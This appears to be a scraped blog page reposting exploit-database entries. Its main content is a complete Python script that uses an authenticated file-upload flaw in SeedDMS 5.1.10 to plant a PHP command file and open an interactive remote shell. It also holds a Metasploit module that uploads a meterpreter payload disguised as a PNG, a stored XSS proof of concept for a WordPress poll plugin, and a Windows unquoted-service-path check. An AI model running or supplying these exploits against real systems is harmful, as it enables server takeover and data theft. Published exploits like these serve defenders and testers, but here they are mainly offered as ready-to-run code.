# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)
# Date: 25/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.seeddms.org/index.php?id=2
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
# Version: Seeddms 5.1.10
# Tested on: Windows 7 x64
# CVE: CVE-2019-12744
import requests
import argparse
import sys
import random
import string
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument("-u", "--username", required=True, help="login username")
ap.add_argument("-p", "--password", required=True, help="login password")
ap.add_argument("--url", required=True, help="target URL Path")
args = vars(ap.parse_args())
return args['username'], args['password'], args['url']
def login(sessionObj, username, password, url):
loginPath = "/op/op.Login.php"
url += loginPath
postData = {
'login': username,
'pwd': password,
'lang' : 'en_GB'
}
try:
rsl = sessionObj.post(url, data=postData)
if(rsl.status_code == 200):
if "Error signing in. User ID or password incorrect." in rsl.text:
print("[!] Incorrect Credential.")
else:
print("[*] Login Successful.")
print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])
return sessionObj
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj
def formTokenCapturing(sessionObj, url):
path = "/out/out.AddDocument.php?folderid=1&showtree=1"
url += path
formToken = ""
try:
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
print("[*] Captured Form Token.")
#extracting form token
soup = BeautifulSoup(rsl.text,'html.parser')
form1 = soup.findAll("form", {"id": "form1"})
soup = BeautifulSoup(str(form1[0]),'html.parser')
formToken = soup.find("input", {"name": "formtoken"})
print("[*] Form Token: " + formToken.attrs['value'])
return sessionObj, formToken.attrs['value']
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj, formToken
def uploadingPHP(sessionObj, url, formToken):
path = "/op/op.AddDocument.php"
url += path
#generating random name
letters = string.ascii_lowercase
rand_name = ''.join(random.choice(letters) for i in range(20))
#POST Data
payload = {
'formtoken' : formToken,
'folderid' : '1',
'showtree' : '1',
'name' : rand_name,
'comment' : '',
'keywords' : '',
'sequence' : '2',
'presetexpdate' : 'never',
'expdate' : '',
'ownerid' : '1',
'reqversion' : '1',
'userfile[]' : (
'%s.php' % (rand_name),
open('phpCmdInjection.php', 'rb'),
'application/x-httpd-php'
),
'version_comment' : ''
}
multiPartEncodedData = MultipartEncoder(payload)
try:
rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})
if(rsl.status_code == 200):
print("[*] Command Injection PHP Code Uploaded.")
print("[*] Name in Document Content Shows: " + rand_name)
return sessionObj, rand_name
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj, rand_name
def getDocID(sessionObj, url, docName):
path = "/out/out.ViewFolder.php?folderid=1"
url += path
try:
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
#searching & extracting document id storing payload
soup = BeautifulSoup(rsl.text,'html.parser')
viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})
soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')
rowsDoc = soup.findAll("tr", {"class": "table-row-document"})
for i in range(len(rowsDoc)):
soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')
tdExtracted = soup.findAll("td")
foundDocName = tdExtracted[1].contents[0].contents[0]
#when document name matched uploaded document name
if(foundDocName == docName):
print("[*] Found Payload Document Name. Extracting Document ID...")
tmp = tdExtracted[1].contents[0].attrs['href'].split('?')
docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')
print("[*] Document ID: " + docID)
return sessionObj, docID
#after loops & still unable to find matched uploaded Document Name
print("[!] Unable to find document ID.")
sys.exit(0)
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj
def shell(sessionObj, url, docID):
#remove the directory /seeddms-5.1.x
splitUrl = url.split('/')
remLastDir = splitUrl[:-1]
url = ""
#recontruct url
for text in remLastDir:
url += text + "/"
#path storing uploaded php code
path = "/data/1048576/%s/1.php" % docID
url += path
#checking does the uploaded php exists?
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
print("[*] PHP Script Exist!")
print("[*] Injecting some shell command.")
#1st test injecting whoami command
data = {
'cmd' : 'whoami'
}
rsl = sessionObj.post(url, data=data)
if(rsl.text != ""):
print("[*] There's response from the PHP script!")
print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))
print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")
#start shell iteration
while(True):
cmd = input("[Seeddms Shell]$ ")
if(cmd == ".exit"):
print("[*] Exiting shell.")
sys.exit(0)
data = {
'cmd' : cmd
}
rsl = sessionObj.post(url, data=data)
print(rsl.text.replace("<pre>", "").replace("</pre>", ""))
else:
print("[!] No response from PHP script. Something went wrong.")
sys.exit(0)
else:
print("[!] PHP Script Not Found!!")
print(rsl.status_code)
sys.exit(0)
def main():
username, password, url = sysArgument()
sessionObj = requests.Session()
#getting session token from logging in
sessionObj = login(sessionObj, username, password, url)
#capturing form token for adding document
sessionObj, formToken = formTokenCapturing(sessionObj, url)
#uploading php code for system command injection
sessionObj, docName = uploadingPHP(sessionObj, url, formToken)
#getting document id
sessionObj, docID = getDocID(sessionObj, url, docName)
#spawning shell to exec system Command
shell(sessionObj, url, docID)
if __name__ == "__main__":
main()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863147330
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 21-06-2021
# Vendor Homepage: https://brother.com/
# Tested Version: 7.60
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits
# Step to discover Unquoted Service Path:
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
SAPSprint SAPSprint C:\Program Files\SAP\SAPSprint\sapsprint.exe Auto
C:\>sc qc SAPSprint
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SAPSprint
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME: C:\Program Files\SAP\SAPSprint\sapsprint.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SAPSprint
DEPENDENCIES : Spooler
SERVICE_START_NAME: LocalSystem
# Exploit Title: WordPress Plugin YOP Polls 6.2.7 - Stored Cross Site Scripting (XSS)
# Date: 09/06/2021
# Exploit Author: inspired - Toby Jackson
# Vendor Homepage: https://yop-poll.com/
# Blog Post: https://www.in-spired.xyz/discovering-wordpress-plugin-yop-polls-v6-2-7-stored-xss/
# Software Link: https://en-gb.wordpress.org/plugins/yop-poll/
# Version: Tested on version 6.2.7 (Older versions may be affected)
# Tested on: WordPress
# Category : Webapps
## I. Vulnerability
Stored Cross Site Scripting (XSS)
## II. Product Overview
The software allows users to quickly generate polls and voting systems for their blog posts without any need for programming knowledge.
## III. Exploit
When a poll is created that allows other answers and then the setting is enabled for displaying the other responses after submission, the other answer is not sanitized when displayed back to the user, showing an XSS vulnerability. It is, however, correctly sanitized when displaying the other choices on the initial vote page.
## IV. Vulnerable Code
The vulnerable code resides in the fact the results are echoed back to the user without any sanitization performed on the output. It also gets stored in the database as it's inserts.
## IV. Proof of Concept
- Create a new poll that allows other answers, with the results of the other answers being displayed after voting.
- Set the permissions to whoever you'd like to be able to vote.
- Place it on a blog post.
- Insert '<script>alert('xss')</script>' into the other box.
- Submit vote. The payload gets triggered when reflected back to users.
- Whenever a new user votes, they will also be affected by the payload.
## VI. Impact
An attacker can leave stored javascript payloads to be executed whenever a user votes and views the results screen. This could lead to them stealing cookies, logging keystrokes and even stealing passwords from autocomplete forms.
## VII. SYSTEMS AFFECTED
WordPress websites running "YOP Polls" plugin version 6.2.7 (older versions may also be affected).
## VIII. REMEDIATION
Update the plugin to v6.2.8.
## VIIII. DISCLOSURE TIMELINE
-------------------------
June 9, 2021 1: Vulnerability identified.
June 9, 2021 2: Informed developer of the vulnerability.
June 10, 2021 1: Vendor requested proof of concept.
June 10, 2021 2: Sent proof of concept and accompanying details.
June 14, 2021 1: Vendor emails to state the vulnerability has been fixed.
June 16, 2021 1: Confirmed fix, vendor happy to disclose the vulnerability.
June 17, 2021 1: Requested CVE Number.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Lightweight facebook-styled blog authenticated remote code execution",
'Description' => %q{
This module exploits the file upload vulnerability of Lightweight self-hosted facebook-styled PHP blog and allows remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Maide Ilkay Aydogdu <ilkay@prodaft.com>' # author & msf module
],
'References' =>
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['PHP payload',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'Blog username', 'demo']),
OptString.new('PASSWORD', [true, 'Blog password', 'demo']),
OptString.new('TARGETURI', [true, 'The URI of the arkei gate', '/'])
]
)
end
def login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
)
cookie = res.get_cookies
token = res.body.split('":"')[1].split('"')[0]
# token = res.to_s.scan(/"[abcdef0-9]{10}"}/)[0].to_s.tr('"}', '')
print_status("Got CSRF token: #{token}")
print_status('Logging into the blog...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'headers' => {
'Csrf-Token' => token,
},
'cookie' => cookie,
'data' => "action=login&nick=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}",
)
if res && res.code == 200
print_good("Successfully logged in with #{datastore['USERNAME']}")
json = res.get_json_document
if json.empty? && json['error']
print_error('Login failed!')
return nil, nil
end
else
print_error("Login failed! Status code #{res.code}")
return nil, nil
end
return cookie, token
end
def exploit
cookie, token = login
unless cookie || token
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
end
data = Rex::MIME::Message.new # jWPU1tZmoAZgooopowaNGjRq0KhBowaNGjRqEHYAALgBALdg7lyPAAAAAElFTkSuQmCC
png = Base64.decode64('iVBORw0KGgoAAAANSUhEUgAAABgAAAAbCAIAAADpgdgBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQ4') # only the PNG header
data.add_part(png+payload.encoded, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"mia.php\"")
print_status('Uploading shell...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'ajax.php'),
'cookie' => cookie,
'vars_get' => {
'action' => 'upload_image'
},
'headers' => {
'Csrf-Token' => token,
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
)
# print_status(res.to_s)
if res && res.code == 200
json = res.get_json_document
if json.empty? || !json['path']
fail_with(Failure::UnexpectedReply, 'Unexpected json response')
end
print_good("Shell uploaded as #{json['path']}")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, json['path'])}, 3
)
print_good("Payload successfully triggered !")
end
end

ES File Explorer 4.1.9.7.4 - Arbitrary File Read
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

phpAbook 0.9i - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Vianeos OctoPUS 5 - 'login_user' SQLi
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Online Voting System 1.0 - Remote Code Execution (Authenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Scratch Desktop 3.17 - Remote Code Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Apache Superset 1.1.0 - Time-Based Account Enumeration
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Online Voting System 1.0 - Authentication Bypass (SQLi)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view